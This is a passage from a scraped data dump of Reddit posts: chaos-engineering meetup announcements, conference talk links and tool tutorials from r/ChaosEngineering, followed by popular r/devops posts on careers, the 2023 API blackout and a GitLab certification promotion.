p85bod,chaosengineering,CNCE Workshop #2,"Hello everyone! The ChaosNative community is glad to invite you to the Cloud-Native Chaos Engineering Workshop **#2** where you can network with tech geeks around the world. Get yourself exposed to the world of resiliency and reliability. We will be having interactive talks and discussions with our experts about: 1. Hands-on experience with a workshop on Cloud Native Chaos Engineering which introduces you to the basics & fundamentals of Chaos Engineering.  2. A sneak-peek at the latest evolution in the Cloud Native Chaos Engineering world with LitmusChaos 2.0.  3. A demonstration of running Chaos experiments in just a few steps! Mark your calendars for 9th September 2021, 9 PM IST Register here: https://www.chaosnative.com/cnce-workshop",saritabehera,2,0,1629466530,/r/ChaosEngineering/comments/p85bod/cnce_workshop_2/,https://www.reddit.com/r/ChaosEngineering/comments/p85bod/cnce_workshop_2/,self.ChaosEngineering,True,0.75,False,,arctic-shift,1781885551 p62gp5,chaosengineering,Fundamentals of chaos engineering and why you might want to build your own chaos platform from scratch,,mto96,3,0,1629202077,/r/ChaosEngineering/comments/p62gp5/fundamentals_of_chaos_engineering_and_why_you/,https://youtu.be/xsIq2bDVXzQ?list=PLEx5khR4g7PI7jKbpyrshWUa7Ca0dH6F6,youtu.be,False,0.8100000023841858,False,,arctic-shift,1781885551 p3164i,chaosengineering,"Converging Applications & Audiences - the Return to ""Dumb"" Pipes • Kris Beevers",,goto-con,2,0,1628779161,/r/ChaosEngineering/comments/p3164i/converging_applications_audiences_the_return_to/,https://youtu.be/zG2HuTNSYCg?list=PLEx5khR4g7PI7jKbpyrshWUa7Ca0dH6F6,youtu.be,False,1,False,,arctic-shift,1781885551 p1342p,chaosengineering,What Is Chaos Engineering?,,vfarcic,3,0,1628521096,/r/ChaosEngineering/comments/p1342p/what_is_chaos_engineering/,https://youtu.be/r4M0RM3QGxk,youtu.be,False,0.8100000023841858,False,,arctic-shift,1781885551 ozrvpr,chaosengineering,What COVID-19 Taught the Cyber Security Industry: Security Chaos Engineering,,run2obtain,2,0,1628337173,/r/ChaosEngineering/comments/ozrvpr/what_covid19_taught_the_cyber_security_industry/,https://dev.to/aws-builders/what-covid-19-taught-the-cyber-security-industry-security-chaos-engineering-5fpo,dev.to,False,1,False,,arctic-shift,1781885551 oxrxyh,chaosengineering,Chaos Engineering – Blocked Threads,,mike_jack,3,0,1628081228,/r/ChaosEngineering/comments/oxrxyh/chaos_engineering_blocked_threads/,https://blog.ycrash.io/2021/04/09/chaos-engineering-blocked-threads/,blog.ycrash.io,False,1,False,,arctic-shift,1781885551 ovozsi,chaosengineering,Chaos eng. in Virology,"Hello, fellow chaos engineers. I'm trying to find an article about chaos engineering, originating in the field of virology which explain how viruses can be coded, it was referred to as chaos based on the assumption that the viral kingdom is perfect in terms of interaction between the different life forms, therefor a change of any kind in the ""viral kingdom"" can cause chaos. Appreciate any hint!",Equal_Master,2,1,1627809299,/r/ChaosEngineering/comments/ovozsi/chaos_eng_in_virology/,https://www.reddit.com/r/ChaosEngineering/comments/ovozsi/chaos_eng_in_virology/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 opcyi3,chaosengineering,What is Chaos Engineering and the tools to implement it?,"Hello! As the title suggests, I wrote an article about the basics concept of [Chaos Engineering](https://www.padok.fr/en/blog/chaos-engineering) and how we can implement it thanks to easy-to-use tools! Feel free to tell me what you think about it and if you would have added anything :) Enjoy!",Super_Run9140,3,0,1626957413,/r/ChaosEngineering/comments/opcyi3/what_is_chaos_engineering_and_the_tools_to/,https://www.reddit.com/r/ChaosEngineering/comments/opcyi3/what_is_chaos_engineering_and_the_tools_to/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 ofigrs,chaosengineering,Kubernetes Chaos Engineering Meetup,"Hello people!  This last Saturday of July, the LitmusChaos community is glad to invite you to the Kubernetes Chaos Engineering meeting where our community members discuss everything about Kubernetes, LitmusChaos as a project & Chaos Engineering. The updates, the use-cases, suggestions & queries! Mark your calendars for: 31st July 2021, 11 AM IST To get your calendar invite, please fill in the Google form: https://forms.gle/FX9WLhGdhyaeNGFa9 RSVP here to join the meetup: https://www.meetup.com/Kubernetes-Chaos-Engineering-Meetup-Group/events/277895650/ To join our Slack community: https://slack.litmuschaos.io/ **#kubernetes** **#chaosengineering** **#cloudnative** **#meetup**",saritabehera,3,0,1625662967,/r/ChaosEngineering/comments/ofigrs/kubernetes_chaos_engineering_meetup/,https://www.reddit.com/r/ChaosEngineering/comments/ofigrs/kubernetes_chaos_engineering_meetup/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 oaw7ty,chaosengineering,"Andy Fleener: ""Actively searching for and understanding weak signals is the key to creating the most productive chaos experiments.""",,asc2450,4,0,1625055827,/r/ChaosEngineering/comments/oaw7ty/andy_fleener_actively_searching_for_and/,https://youtu.be/VNiWLKS4IqQ?list=PLEx5khR4g7PI7jKbpyrshWUa7Ca0dH6F6,youtu.be,False,0.8399999737739563,False,,arctic-shift,1781885551 oai5zn,chaosengineering,Kubernetes Chaos Engineering Meetup," Hello everyone! Check out the full recording of the Kubernetes Chaos Engineering Meetup for the month of June 2021 curated by the LitmusChaos community! https://youtu.be/WloPjGgwvMc ​ Check out LitmusChaos on GitHub: https://github.com/litmuschaos/litmus ​ Feel free to ask any questions, join our community for more insights! To join our slack community please follow the following steps! Step 1: Join the Kubernetes slack using the following link: https://slack.k8s.io/ Step 2: Join the **#litmus** channel on the Kubernetes slack or use this link after joining the Kubernetes slack: https://slack.litmuschaos.io/",saritabehera,3,0,1625002866,/r/ChaosEngineering/comments/oai5zn/kubernetes_chaos_engineering_meetup/,https://www.reddit.com/r/ChaosEngineering/comments/oai5zn/kubernetes_chaos_engineering_meetup/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 o4u2x6,chaosengineering,Security Chaos Engineering: from theory to practice with Jamie Dicken,,asc2450,3,0,1624278886,/r/ChaosEngineering/comments/o4u2x6/security_chaos_engineering_from_theory_to/,https://youtu.be/jgZAfgDWkOw?list=PLEx5khR4g7PI7jKbpyrshWUa7Ca0dH6F6,youtu.be,False,1,False,,arctic-shift,1781885551 o17k7i,chaosengineering,CNCF Meetup,[removed],saritabehera,1,0,1623857409,/r/ChaosEngineering/comments/o17k7i/cncf_meetup/,https://www.reddit.com/r/ChaosEngineering/comments/o17k7i/cncf_meetup/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 o0nsba,chaosengineering,KCD Banglore 2021,"Kubernetes Community Days (KCD) Bengaluru 2021 is the inaugural KCD event in India completely organized by the community, for the community. It is scheduled for 25-26th of June'21. 25th June is completely dedicated to workshops and each workshop costs INR 499. On 26th, there will be a full-day conference which is completely free for all. The workshops on 25th June include the following: \-- Kubernetes 101 - Neependra Khare. CloudYuga \-- Observability 101 using Opentelemetry & SigNoz - Ankit Nayan, Signoz \-- Fission - FaaS on Kubernetes - Vishal Biyani, Infracloud \-- CI/CD with Argo - Ravi Hari, Intuit and Neependra Khare, CloudYuga \-- Building a SecOps Platform on Kubernetes - Aravind Putrevu, Haran Kumar, Elastic \-- Cloud-Native Chaos Engineering Workshop - Karthik, Co-founder at ChaosNative and a Maintainer of the LitmusChaos project \-- Attacking, Defending, and monitoring your Kubernetes eco-system - Vasant Chinnipilli https://vsit.site/17vsb It's one of the best learning and networking opportunities, so I hope you don't miss it! \^\_\^",saritabehera,3,0,1623788848,/r/ChaosEngineering/comments/o0nsba/kcd_banglore_2021/,https://www.reddit.com/r/ChaosEngineering/comments/o0nsba/kcd_banglore_2021/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 nzlkdg,chaosengineering,Incident analysis before Chaos Engineering. Keynote by Nora Jones at GOTOpia 2021,,asc2450,3,0,1623673374,/r/ChaosEngineering/comments/nzlkdg/incident_analysis_before_chaos_engineering/,https://youtu.be/CCXR1b0pdaQ?list=PLEx5khR4g7PI89_ZS_wz5suqCoqFgv-gO,youtu.be,False,1,False,,arctic-shift,1781885551 nvgi1t,chaosengineering,Announcing the Gremlin Chaos Engineering Practitioner Certificate Program,,tammybutow,4,0,1623191467,/r/ChaosEngineering/comments/nvgi1t/announcing_the_gremlin_chaos_engineering/,https://www.gremlin.com/blog/announcing-the-gremlin-chaos-engineering-practitioner-certificate-program/,gremlin.com,False,0.75,False,,arctic-shift,1781885551 nuk4ze,chaosengineering,LitmusChaos for beginners,"Hello folks! As a beginner, I have been thrilled by working as a Developer Advocate at LitmusChaos. The community strongly believes in its visions of delivering resiliency, smooth complex workflow management, providing an easy beginner-friendly interface with a navigable experiments dashboard to start with, and much more. Kickstart your learning here by checking out the LitmusChaos repository: https://github.com/litmuschaos/litmus Resources for better understanding (for beginners): https://github.com/litmuschaos/litmus/tree/master/resources",saritabehera,2,0,1623091680,/r/ChaosEngineering/comments/nuk4ze/litmuschaos_for_beginners/,https://www.reddit.com/r/ChaosEngineering/comments/nuk4ze/litmuschaos_for_beginners/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 nrnppt,chaosengineering,Kubernetes Chaos Engineering Meetup,"​ https://preview.redd.it/tpwvbvsw54371.png?width=1440&format=png&auto=webp&s=01f8d849c76e97ff170888940c32d84a4d492f1f Hello people!  This 4th Saturday of June, the LitmusChaos community is glad to invite you to the Kubernetes Chaos Engineering meeting where our community members discuss everything about Kubernetes, LitmusChaos as a project & Chaos Engineering. The updates, the use-cases, suggestions & queries! Mark your calendars for: 26th June 2021, 11 AM IST To get your calendar invite, please fill in the Google form: [https://forms.gle/Naee1hd8TSK6wkXJ8](https://forms.gle/Naee1hd8TSK6wkXJ8) RSVP here to join the meetup: [https://www.meetup.com/Kubernetes-Chaos-Engineering-Meetup-Group/events/277895650/](https://www.meetup.com/Kubernetes-Chaos-Engineering-Meetup-Group/events/277895650/) To join our Slack community: [https://slack.litmuschaos.io/](https://slack.litmuschaos.io/)",saritabehera,3,0,1622753612,/r/ChaosEngineering/comments/nrnppt/kubernetes_chaos_engineering_meetup/,https://www.reddit.com/r/ChaosEngineering/comments/nrnppt/kubernetes_chaos_engineering_meetup/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 nqki1j,chaosengineering,The DiRT on Chaos Engineering at Google. Talk at GOTOpia by Jason Cahoon,,asc2450,3,0,1622636391,/r/ChaosEngineering/comments/nqki1j/the_dirt_on_chaos_engineering_at_google_talk_at/,https://youtu.be/6I8Ag9mCEpY?list=PLEx5khR4g7PI89_ZS_wz5suqCoqFgv-gO,youtu.be,False,1,False,,arctic-shift,1781885551 nprys7,chaosengineering,Introduction to Chaos Engineering,,MurtazaAli15,2,0,1622547665,/r/ChaosEngineering/comments/nprys7/introduction_to_chaos_engineering/,https://www.youtube.com/watch?v=Y-6w6E2y_TQ,youtube.com,False,1,False,,arctic-shift,1781885551 npe04g,chaosengineering,LitmusChaos CNCF Community,"​ https://i.redd.it/guy4yrwuyi271.gif To join our slack please follow the following steps! Step 1: Join the Kubernetes slack using the following link: [https://slack.k8s.io/](https://slack.k8s.io/) Step 2: Join the #litmus channel on the Kubernetes slack or use this link after joining the Kubernetes slack: [https://slack.litmuschaos.io/](https://slack.litmuschaos.io/) Looking forward to having you in our community!",saritabehera,2,0,1622496957,/r/ChaosEngineering/comments/npe04g/litmuschaos_cncf_community/,https://www.reddit.com/r/ChaosEngineering/comments/npe04g/litmuschaos_cncf_community/,self.ChaosEngineering,True,0.75,False,,arctic-shift,1781885551 noof59,chaosengineering,Why Chaos Is Good Sometimes - Interesting read,,MurtazaAli15,1,0,1622421151,/r/ChaosEngineering/comments/noof59/why_chaos_is_good_sometimes_interesting_read/,https://www.royalcyber.com/blog/devops/chaos-engineering-guide/,royalcyber.com,False,1,False,,arctic-shift,1781885551 nlflcy,chaosengineering,"Combining chaos, observability & resilience to get Chaos Engineering. Presentation by Yury Niño",,asc2450,3,0,1622031474,/r/ChaosEngineering/comments/nlflcy/combining_chaos_observability_resilience_to_get/,https://youtu.be/WU0hu6KSFGU?list=PLEx5khR4g7PI89_ZS_wz5suqCoqFgv-gO,youtu.be,False,1,False,,arctic-shift,1781885551 nkrygg,chaosengineering,Kubernetes Chaos Engineering,"​ https://preview.redd.it/kxbqnvd98a171.png?width=1440&format=png&auto=webp&s=4355c8c0cef3645f51c136a3e51f4d5f2eea8e4d Hello people! 📷 The 4th Saturday of the month is just around the corner and the LitmusChaos community is glad to invite you to the Kubernetes Chaos Engineering meeting where our community members discuss everything about Kubernetes, LitmusChaos as a project & Chaos Engineering. The updates, the use-cases, suggestions & queries! Mark your calendars for: 📷: 29th May 2021 📷:  11 AM IST To get your calendar invite, please fill in the Google form: [https://forms.gle/zTZNCuHFUCdRAasp6](https://forms.gle/zTZNCuHFUCdRAasp6) RSVP here to join the meetup: [https://www.meetup.com/Kubernetes-Chaos-Engineering-Meetup-Group/events/277895650/](https://www.meetup.com/Kubernetes-Chaos-Engineering-Meetup-Group/events/277895650/) To join our Slack community: [https://slack.litmuschaos.io/](https://slack.litmuschaos.io/)",saritabehera,2,0,1621955292,/r/ChaosEngineering/comments/nkrygg/kubernetes_chaos_engineering/,https://www.reddit.com/r/ChaosEngineering/comments/nkrygg/kubernetes_chaos_engineering/,self.ChaosEngineering,True,0.6700000166893005,False,,arctic-shift,1781885551 njniw8,chaosengineering,Need help with Chaos Engineering? - Contact murtaza.laghrai@royalcyber.com,,MurtazaAli15,0,0,1621823542,/r/ChaosEngineering/comments/njniw8/need_help_with_chaos_engineering_contact/,https://v.redd.it/tip3tulgcz071,v.redd.it,False,0.33000001311302185,False,,arctic-shift,1781885551 nhmnd0,chaosengineering,Kubernetes Chas Engineering Meetup,[removed],saritabehera,1,0,1621581912,/r/ChaosEngineering/comments/nhmnd0/kubernetes_chas_engineering_meetup/,https://www.reddit.com/r/ChaosEngineering/comments/nhmnd0/kubernetes_chas_engineering_meetup/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 ng5ai3,chaosengineering,Deprecating simplicity - Building a new test culture with Casey Rosenthal,,asc2450,2,0,1621429495,/r/ChaosEngineering/comments/ng5ai3/deprecating_simplicity_building_a_new_test/,https://youtu.be/GeNunR7KB-Y?list=PLEx5khR4g7PI89_ZS_wz5suqCoqFgv-gO,youtu.be,False,1,False,,arctic-shift,1781885551 nanclk,chaosengineering,Improving business resiliency with Chaos Engineering. Talk by Olga Hall,,asc2450,3,0,1620822101,/r/ChaosEngineering/comments/nanclk/improving_business_resiliency_with_chaos/,https://youtu.be/6NIh-GsO1Kg?list=PLEx5khR4g7PI89_ZS_wz5suqCoqFgv-gO,youtu.be,False,1,False,,arctic-shift,1781885551 n5ens6,chaosengineering,Making chaos engineering boring: debunking myths hampering adoption. Presentation by Mikolaj Pawlikowski,,asc2450,3,0,1620217426,/r/ChaosEngineering/comments/n5ens6/making_chaos_engineering_boring_debunking_myths/,https://youtu.be/Pj42pryYv9A?list=PLEx5khR4g7PI89_ZS_wz5suqCoqFgv-gO,youtu.be,False,1,False,,arctic-shift,1781885551 n0dlv1,chaosengineering,Risks in systems design: chaos engineering in apps & cloud security. Talk by Crystal Hirschorn,,asc2450,3,0,1619612612,/r/ChaosEngineering/comments/n0dlv1/risks_in_systems_design_chaos_engineering_in_apps/,https://youtu.be/oEyZgL3sL84?list=PLEx5khR4g7PI89_ZS_wz5suqCoqFgv-gO,youtu.be,False,1,False,,arctic-shift,1781885551 mvf1km,chaosengineering,Adrian Hornsby shares lessons learned from years of helping customers with chaos engineering and shows how they have influenced the development of the new chaos engineering service AWS Fault Injection Simulator,,asc2450,3,0,1619009629,/r/ChaosEngineering/comments/mvf1km/adrian_hornsby_shares_lessons_learned_from_years/,https://youtu.be/OHWKr4USyGg?list=PLEx5khR4g7PI89_ZS_wz5suqCoqFgv-gO,youtu.be,False,1,False,,arctic-shift,1781885551 mqpl88,chaosengineering,Ranganathan covers the history of how chaos engineering evolved from hunter-gatherers to software engineering teams,,asc2450,3,0,1618403574,/r/ChaosEngineering/comments/mqpl88/ranganathan_covers_the_history_of_how_chaos/,https://youtu.be/WQHxLI5xrmM?list=PLEx5khR4g7PI89_ZS_wz5suqCoqFgv-gO,youtu.be,False,1,False,,arctic-shift,1781885551 keok2g,chaosengineering,"Chaos Mesh is taking part in TiDB Hackathon 2020! The first place winner could get $15,000!",[deleted],[deleted],1,0,1608173215,/r/ChaosEngineering/comments/keok2g/chaos_mesh_is_taking_part_in_tidb_hackathon_2020/,https://www.reddit.com/r/ChaosEngineering/comments/keok2g/chaos_mesh_is_taking_part_in_tidb_hackathon_2020/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 k1t85z,chaosengineering,How a Top Game Company Uses Chaos Engineering to Improve Testing,,BellaHi,3,2,1606446617,/r/ChaosEngineering/comments/k1t85z/how_a_top_game_company_uses_chaos_engineering_to/,https://chaos-mesh.org/blog/how-a-top-game-company-uses-chaos-engineering-to-improve-testing,chaos-mesh.org,False,1,False,,arctic-shift,1781885551 k0x55t,chaosengineering,"Tutorials for running chaos experiments with litmus chaos, chaos mesh, and gremlin (includes k8s setup)",,ari_hacks,3,0,1606327158,/r/ChaosEngineering/comments/k0x55t/tutorials_for_running_chaos_experiments_with/,https://github.com/ari-hacks/kubernetes-chaos-sandbox,github.com,False,1,False,,arctic-shift,1781885551 jx2qbe,chaosengineering,Getting started with Service Mesh,,asc2450,2,1,1605792744,/r/ChaosEngineering/comments/jx2qbe/getting_started_with_service_mesh/,https://youtu.be/w14ge2838Vs?list=PLEx5khR4g7PJbSLmADahf0LOpTLifiCra,youtu.be,False,1,False,,arctic-shift,1781885551 jk9ysy,chaosengineering,Getting Started with Chaos Engineering,,mto96,4,1,1603977915,/r/ChaosEngineering/comments/jk9ysy/getting_started_with_chaos_engineering/,https://youtu.be/vkxVaqS7q2Q?list=PLEx5khR4g7PJbSLmADahf0LOpTLifiCra,youtu.be,False,1,False,,arctic-shift,1781885551 jfbiv9,chaosengineering,Chaos Engineering as management practice,,joaoasrosa,3,1,1603281928,/r/ChaosEngineering/comments/jfbiv9/chaos_engineering_as_management_practice/,https://www.joaorosa.io/2020/10/21/chaos-engineering-as-management-practice/,joaorosa.io,False,0.8100000023841858,False,,arctic-shift,1781885551 jb2dp4,chaosengineering,Webinar: Using chaos engineering on your incident management process,[removed],joannafh,1,0,1602687923,/r/ChaosEngineering/comments/jb2dp4/webinar_using_chaos_engineering_on_your_incident/,https://www.reddit.com/r/ChaosEngineering/comments/jb2dp4/webinar_using_chaos_engineering_on_your_incident/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 j7c1q7,chaosengineering,Teaser Nora & Casey,,sophiecustura,2,0,1602159743,/r/ChaosEngineering/comments/j7c1q7/teaser_nora_casey/,https://www.youtube.com/watch?v=dAbtcbVWCJ0,youtube.com,False,1,False,,arctic-shift,1781885551 j0pe3o,chaosengineering,Chaos Mesh 1.0: Chaos Engineering on Kubernetes Made Easier,,BellaHi,2,0,1601205108,/r/ChaosEngineering/comments/j0pe3o/chaos_mesh_10_chaos_engineering_on_kubernetes/,https://chaos-mesh.org/blog/chaos-mesh-1.0-chaos-engineering-on-kubernetes-made-easier,chaos-mesh.org,False,1,False,,arctic-shift,1781885551 ixxt2y,chaosengineering,Chaos: Breaking your systems to make them unbreakable atDevOpsDays Chicago 2020,"If you are looking for a great way to get started in Chaos engineering, Jason Yee of Gremlin gave a very simple way to carry out gamedays Take aways from Jason's Message: * Smaller GameDay teams * Shorter game days * Simpler attacks * Singular outcomes",zimmy125,2,0,1600813646,/r/ChaosEngineering/comments/ixxt2y/chaos_breaking_your_systems_to_make_them/,https://www.reddit.com/r/ChaosEngineering/comments/ixxt2y/chaos_breaking_your_systems_to_make_them/,self.ChaosEngineering,True,0.7599999904632568,False,,arctic-shift,1781885551 iwrkuw,chaosengineering,chaos-mesh-action: Integrate Chaos Engineering into Your CI,,BellaHi,2,0,1600654592,/r/ChaosEngineering/comments/iwrkuw/chaosmeshaction_integrate_chaos_engineering_into/,https://chaos-mesh.org/blog/chaos-mesh-action-integrate-chaos-engineering-into%20-your-ci,chaos-mesh.org,False,0.7599999904632568,False,,arctic-shift,1781885551 ikih7u,chaosengineering,Setup GitHub Chaos Action using KinD Cluster,,prithvi1307,1,0,1598959447,/r/ChaosEngineering/comments/ikih7u/setup_github_chaos_action_using_kind_cluster/,https://dev.to/uditgaurav/setup-github-chaos-action-using-kind-cluster-part-2-4dbm,dev.to,False,1,False,,arctic-shift,1781885551 ih11z5,chaosengineering,Chaos engineering in IT operations during COVID-19 - ITOps Times,,Zizou_Ops,1,0,1598456165,/r/ChaosEngineering/comments/ih11z5/chaos_engineering_in_it_operations_during_covid19/,https://www.itopstimes.com/itops/chaos-engineering-in-it-operations-during-covid-19/,itopstimes.com,False,1,False,,arctic-shift,1781885551 14eqn7s,devops,This sub is being marked NSFW due to past swearing in posts,Thank you for your understanding,mthode,839,187,1687303008,/r/devops/comments/14eqn7s/this_sub_is_being_marked_nsfw_due_to_past/,https://www.reddit.com/r/devops/comments/14eqn7s/this_sub_is_being_marked_nsfw_due_to_past/,self.devops,True,,,,, oo944r,devops,How do I become a carpenter,Any good suggestions ?,mizi359,817,140,1626809119,/r/devops/comments/oo944r/how_do_i_become_a_carpenter/,https://www.reddit.com/r/devops/comments/oo944r/how_do_i_become_a_carpenter/,self.devops,True,,,,, zgjnj1,devops,I asked ChatGPT how to get into DevOps. I am officially worried for my job.,">To get into DevOps, first and foremost, you must change your entire wardrobe to consist solely of plaid shirts and skinny jeans. Then, you must spend countless hours on Reddit and Stack Overflow pretending to know what you're talking about. Once you have sufficiently convinced everyone that you are an expert, you can then start spouting off buzzwords like ""continuous integration"" and ""infrastructure as code"" to impress potential employers. > Next, it's important to invest in some flashy tools and technologies that you have no practical experience with, but can talk about at length in an interview. Bonus points if you have a complicated setup at home that you can use to demonstrate your ""skills"" in a real-world scenario. > Finally, don't forget to throw in a few buzzwords about ""agile"" and ""lean"" methodologies, and always be sure to mention how passionate you are about automation. Congratulations, you are now ready to enter the exciting world of DevOps! Good luck! EDIT: ChatGPT now error'ing out due to sudden high traffic burst. What have we done?",IndieDiscovery,770,115,1670551317,/r/devops/comments/zgjnj1/i_asked_chatgpt_how_to_get_into_devops_i_am/,https://www.reddit.com/r/devops/comments/zgjnj1/i_asked_chatgpt_how_to_get_into_devops_i_am/,self.devops,True,,,,, vr4rw3,devops,"DevOps is a subset of Software Engineering. Stop all this madness of ""Software Engineer vs DevOps""","DevOps started as a philosophy, a way to bridge the gap between operations teams and software engineering teams in-order to provide more efficiency and transparency. Why should people who develop the software not care about how it operates? Why should the people who operate the software not care about how it was developed? Fast forward to today, and the philosophy has actually become a job title. In the modern day and age, the term ""Software Engineer"" is actually meaningless. Software Engineering is a **gigantic** field with many subsets. Some of these subsets include: 1. Web Development (this can be farther split up into fullstack, frontend, backend) 2. Mobile Development (can be split up into fullstack, frontend and backend as well) 3. Game Development 4. Embedded Systems Engineer 5. Data Engineering 6. Machine Learning Engineering 7. Virtual Reality Engineering 8. Desktop Application Developer 9. ""Low Level Developer"" (things like Operating Systems, Kernels, Compilers, etc) 10. Dozens of others I can't remember at the moment Do you want to know another subset? DevOps!! **Yes, DevOps in the modern era is nothing but a subset of Software Engineering.** That's going to trigger a whole lot of people who come from the operations side of things (which is 90% of this sub), but it's true. Modern DevOps = A software engineer who focuses on infrastructure, automation and internal tooling. These are the folks who write code to make sure that all the other code that was written, works as expected. They also write code to make writing code easier! Sure, they may use more pre-made tools than web developers. But web developers use plenty of tools and pre-made services too. Modern web development in fact, is all about gluing together pre-made services, and there's plenty of subsets that I listed above that are tool heavy too (like data engineering), but I digress. Synonyms to the ""DevOps Engineer"" title include: 1. Platform Engineer 2. Cloud Engineer 3. Infrastructure Engineer 4. Systems Engineer 5. Site Reliability Engineer and probably a few dozen I can't remember right now. Yes, the titles in the industry are a mess. But I hope this clears things up for you. That's why it's silly to say ""Software engineer vs DevOps"". It's like saying ""What's better, a vehicle or a truck??""",Kenny1239,757,264,1656932177,/r/devops/comments/vr4rw3/devops_is_a_subset_of_software_engineering_stop/,https://www.reddit.com/r/devops/comments/vr4rw3/devops_is_a_subset_of_software_engineering_stop/,self.devops,True,,,,, 143jc6m,devops,/r/devops will be going dark on the 12th,"# What's going on? A recent Reddit policy change threatens to kill many beloved third-party mobile apps, making a great many quality-of-life features not seen in the official mobile app **permanently inaccessible** to users. On May 31, 2023, Reddit announced they were raising the price to make calls to their API from being free to a level that will kill every third party app on Reddit, from [Apollo](https://www.reddit.com/r/apolloapp/comments/13ws4w3/had_a_call_with_reddit_to_discuss_pricing_bad/) to [Reddit is Fun](https://www.reddit.com/r/redditisfun/comments/13wxepd/rif_dev_here_reddits_api_changes_will_likely_kill/) to [Narwhal](https://www.reddit.com/r/getnarwhal/comments/13wv038/reddit_have_quoted_the_apollo_devs_a_ridiculous/jmdqtyt/) to [BaconReader](https://www.reddit.com/r/baconreader/comments/13wveb2/reddit_api_changes_and_baconreader/). Even if you're not a mobile user and don't use any of those apps, this is a step toward killing other ways of customizing Reddit, such as Reddit Enhancement Suite or the use of the old.reddit.com desktop interface . This isn't only a problem on the user level: many subreddit moderators depend on tools only available outside the official app to keep their communities on-topic and spam-free. # What's the plan? On June 12th, [many subreddits](https://old.reddit.com/r/ModCoord/comments/1401qw5/incomplete_and_growing_list_of_participating/) will be going dark to protest this policy. Some will return after 48 hours: others will go away *permanently* unless the issue is adequately addressed, since many moderators aren't able to put in the work they do with the poor tools available through the official app. This isn't something any of us do lightly: we do what we do because *we love Reddit*, and we truly believe this change will make it impossible to keep doing what we love. The two-day blackout isn't the *goal*, and it isn't the end. Should things reach the 14th with no sign of Reddit choosing to fix what they've broken, we'll use the community and buzz we've built between then and now as a tool for further action. What can *you* do? 1. **Complain.** Message the mods of [r/reddit](https://www.reddit.com/r/reddit/).com, who are the admins of the site: message [/u/reddit](https://www.reddit.com/u/reddit/): submit a [support request](https://support.reddithelp.com/hc/en-us/requests/new): comment in relevant threads on [r/reddit](https://www.reddit.com/r/reddit/), such as [this one](https://www.reddit.com/r/reddit/comments/12qwagm/an_update_regarding_reddits_api/), leave a negative review on their official iOS or Android app- and sign your username in support to this post. 2. **Spread the word.** Rabble-rouse on related subreddits. Meme it up, make it spicy. Bitch about it to your cat. Suggest anyone you know who moderates a subreddit join us at our sister sub at [r/ModCoord](https://www.reddit.com/r/ModCoord/) \- but please don't pester mods you *don't* know by simply spamming their modmail. 3. **Boycott** ***and*** **spread the word...to Reddit's competition!** Stay off Reddit entirely on June 12th through the 13th- instead, take to your favorite *non*\-Reddit platform of choice and make some noise in support! 4. **Don't be a jerk.** As upsetting this may be, threats, profanity and vandalism will be worse than useless in getting people on our side. Please make every effort to be as restrained, polite, reasonable and law-abiding as possible. **This includes not harassing moderators of subreddits who have chosen not to take part**: no one likes a missionary, a used-car salesman, or a flame warrior.",mthode,757,114,1686158789,/r/devops/comments/143jc6m/rdevops_will_be_going_dark_on_the_12th/,https://www.reddit.com/r/devops/comments/143jc6m/rdevops_will_be_going_dark_on_the_12th/,self.devops,True,,,,, mvad97,devops,GitLab offers GitLab Certified Associate certification for free,"UPDATE: looks like the promo is over. usually priced at USD $650 it's available for free with discount code E6B8A234458AE3D795 until April 30, 2021. steps required: * Create account on [https://gitlab.edcast.com/](https://gitlab.edcast.com/) (1.) purple login button, 2.) purple signup button) * Add [https://gitlab.edcast.com/pathways/cy-test-pathway-associate-study-exam/](https://gitlab.edcast.com/pathways/cy-test-pathway-associate-study-exam/) to basket * In Payment step apply discount code E6B8A234458AE3D795 Once signed up you have one year time for completion. more info: [https://about.gitlab.com/blog/2021/04/20/everyone-can-get-certified/](https://about.gitlab.com/blog/2021/04/20/everyone-can-get-certified/) # Course contents ## Section 1 - Introduction to GitLab - GitLab Overview - GitLab Comparison - GitLab Components and Navigation - Demos and Hands On Excercises ## Section 2 - Self Study using GIT and GitLab - Git Basics - Code Creation in GitLab - GitLabs CI/CD features - GitLabs Package and Release Functions - GitLab Security Scanning ## Section 3 - Certification Assesments - Knowledge Exam - Hands On Exam",Serpiente89,753,166,1618989422,/r/devops/comments/mvad97/gitlab_offers_gitlab_certified_associate/,https://www.reddit.com/r/devops/comments/mvad97/gitlab_offers_gitlab_certified_associate/,self.devops,True,,,,, 1klp28x,devops,im finally a DevOps Engineer,"5 years ago I had zero college, zero experience, no certifications, and no marketable skills coming out of the army. i set the goal for myself to become a DevOps engineer and today I did it. got into IT with zero experience and one certification in 2020 when i got out of the army infantry. first job was help desk, then sysadmin, then a couple tier 2/3 remote support positions including as a RHCSA at red hat. then i got a sysadmin position for my current company in August of 2023. i worked my ass off. i have built full terraform/Terragrunt modules, deployment pipelines, and incident response tools for our clients, who are some of the biggest tech organizations in the world. google, zoom, red hat, Microsoft, etc... I do this across multiple cloud providers based on client needs. it's actually kind of shocking the amount of work we do at the level we do given the size of our team. I'm the only systems person and I get to touch infrastructure for large organizations on a regular basis. today i got the email that i have officially been promoted to DevOps engineer. im really proud of myself. I barely graduated high school because of my ADHD. I did well in the army but the violent environment was not good for my soul. college is very uncomfortable for me. I wasn't sure if I'd ever make a good living, let alone doing smart people stuff. when I was getting into IT I looked for the most lucrative positions. then looked for the one that I thought seemed the most interesting and that was DevOps. now im a DevOps engineer. I'm really proud of myself. ",Broad-Comparison-801,744,75,1747150596,/r/devops/comments/1klp28x/im_finally_a_devops_engineer/,https://www.reddit.com/r/devops/comments/1klp28x/im_finally_a_devops_engineer/,self.devops,True,,,,, xnj147,devops,5 Year into the DevOps industry and here's my learnings and experiences documented in git (~300 DevOps Tasks),"Hi amazing people, # TL;DR * I have documented my 5 years journey in devops by creating nearly 300 tasks and still growing. * You might want to checkout the \[learn-devops\]([https://github.com/codeaprendiz/learn-devops](https://github.com/codeaprendiz/learn-devops))\_ for the same. * Would love feedback here about how I should go forward. I am thinking of starting a youtube channel and giving back to the community. **The Long Talk** 